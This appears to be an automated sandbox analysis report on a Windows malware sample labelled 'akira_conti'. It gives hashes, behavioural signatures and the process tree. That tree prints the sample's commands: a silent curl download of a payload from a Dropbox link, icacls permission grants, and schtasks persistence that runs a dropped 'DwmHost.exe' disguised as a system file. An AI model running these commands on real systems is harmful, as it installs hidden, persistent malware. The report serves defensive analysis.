Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
14/10/2026, 08:44
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe
Resource
win10v2004-20260911-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe
Resource
win11ltsc2024-20260911-en
7 signatures
150 seconds
General
- Target 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe
- Size 332KB
- Sample261014-kner2aav4y
- SHA256 0518eeef812e4313a57d377bda7d3a52aa9d31da73307e5c32fe22dcb121d777
- MD5 f2c8a58ce557fa973a23cd3f7f49a941
- SHA1 54d47f563e9e82c76991d6d75eb36abcd54f13ac
- SHA512 741b4df9a71f274d4500306d06184a3ac304165c4dc990ac3a5126005711005f3b67849f99772ff7bfdda72c27bc1a67eb4743cb08d96f09c29a69baa0f9185b
- SSDEEP 6144:kewr7eC8RmKLrQCAxPXiqehjBUFErRjwgOJnY6GgYf20NMOJHepMuA:Lwry5jzCVehjBOErRJPY0NPJH4y
- TLSH T187746C57FAA554FCC25AC038935A91B3A633B8CE06316DBF13E486302F29D516F2CB19
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe - Executes dropped EXE 2 IoCs
pid Process 944 DwmHost.exe 1352 DwmHost.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 1752 icacls.exe 3524 icacls.exe 316 icacls.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2728 schtasks.exe 60 schtasks.exe 988 schtasks.exe 556 schtasks.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4056 wrote to memory of 4144 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 85 PID 4056 wrote to memory of 1752 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 94 PID 4056 wrote to memory of 3524 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 96 PID 4056 wrote to memory of 316 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 98 PID 4056 wrote to memory of 1644 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 100 PID 4056 wrote to memory of 696 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 102 PID 4056 wrote to memory of 2728 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 104 PID 4056 wrote to memory of 60 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 107 PID 4056 wrote to memory of 988 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 109 PID 4056 wrote to memory of 556 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 111 PID 4056 wrote to memory of 1352 4056 2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe 116 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db https://www.dropbox.com/scl/fi/i7rhg5zo9gzuvfiw4j7a5/cuia.sgn?rlkey=v2cfoq4ojhpxn79rtx6xy30dz&st=gkfdexd3&dl=12⤵PID:4144
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /grant Users:RX /C /Q2⤵
- Modifies file permissions
PID:1752
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db /grant Users:RX /C /Q2⤵
- Modifies file permissions
PID:3524
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches /grant Users:(OI)(CI)RX /T /C /Q2⤵
- Modifies file permissions
PID:316
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN DwmCache /F2⤵PID:1644
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN DwmCacheHourly /F2⤵PID:696
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN DwmCache /XML C:\ProgramData\Microsoft\Windows\Caches\wer_onlogon.xml /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:2728
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN DwmCacheHourly /XML C:\ProgramData\Microsoft\Windows\Caches\wer_hourly.xml /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:60
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN DwmCache /TR C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /SC ONLOGON /IT /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:988
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN DwmCacheHourly /TR C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /SC HOURLY /MO 2 /IT /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:556
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C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe"C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe"2⤵
- Executes dropped EXE
PID:1352
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C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exeC:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe1⤵
- Executes dropped EXE
PID:944
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe
- Size 332KB
- SHA256 0518eeef812e4313a57d377bda7d3a52aa9d31da73307e5c32fe22dcb121d777
- MD5 f2c8a58ce557fa973a23cd3f7f49a941
- SHA1 54d47f563e9e82c76991d6d75eb36abcd54f13ac
- SHA512 741b4df9a71f274d4500306d06184a3ac304165c4dc990ac3a5126005711005f3b67849f99772ff7bfdda72c27bc1a67eb4743cb08d96f09c29a69baa0f9185b
- SSDEEP 6144:kewr7eC8RmKLrQCAxPXiqehjBUFErRjwgOJnY6GgYf20NMOJHepMuA:Lwry5jzCVehjBOErRJPY0NPJH4y
- TLSH T187746C57FAA554FCC25AC038935A91B3A633B8CE06316DBF13E486302F29D516F2CB19
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db
- Size 9.8MB
- SHA256 57e7ecae829eda2246b9ff397b9ec481598fce57de867a02bf4c152cc4e5c652
- MD5 a083cde69ae1c26e7a71d9cc2aa25168
- SHA1 4a36a944fe2032f9b65289122ebf5862b2fe3cad
- SHA512 497beb3b541ddbd89ff3ad21909849358a035af8137de22565eb8b5328645e7f4745a17ed038345875f818ae4b0ff985d34b99315deda4c0edf0d2621f40d40e
- SSDEEP 196608:A28ALeIom0jXC01DuVTiJSaa9+kb43FXJzMM9I/j597JX8obW0:AD+Z94S2DuVraaBKRN9IWobW0
- TLSH T16CA63378F5D7BFFE1038AC9A3B1243D2496467F98120535EFD07D79152629E9EC38842
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\wer_hourly.xml
- Size 2KB
- SHA256 16f51b9c6b3cff6c54acf9d0f4e4907fe17337a5b40cb9e2bd81dceac0f35f3e
- MD5 54124924c20edae740463a0aca5cec48
- SHA1 e33a6d1e2f69b7d9acec159a4dbec32a01fa063d
- SHA512 9dc6e3f652956520449a969e6d5890ccd2e4cf0d12ff9a05f376cd1fba5b9111ffe3a30d22eb9a95ef9f6f205b90baa33b9bd11d81e6a9542a60db0afaa4b3ac
- TLSH T13651474367EE1109F1F36B5CAAB754628EA7BC955939C46C00AC250DCBF3D2289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\wer_onlogon.xml
- Size 2KB
- SHA256 8e466445aefa1576ffee701caefaeac2dd4b75b87c9ed78a0a0d748ddc09e29d
- MD5 ffd00e284533500c11ee861717a790f8
- SHA1 728f5b28edf7aa48f51caab0f5b8dbe7ef687480
- SHA512 a4f675fdbf888b0ca82ca9b297971433452780d938f3431c4744195b73a50883d0dd9a43db90102607654bdffa96c1967106be73df90b8608fc88b6b3b8c6f8e
- TLSH T1EF4137436BEE2209F1F36B5CAAB614614EA7BC554D39C46C00AC250DCAF7D228960BB7
- MD5 SHA1 SHA512 TLSH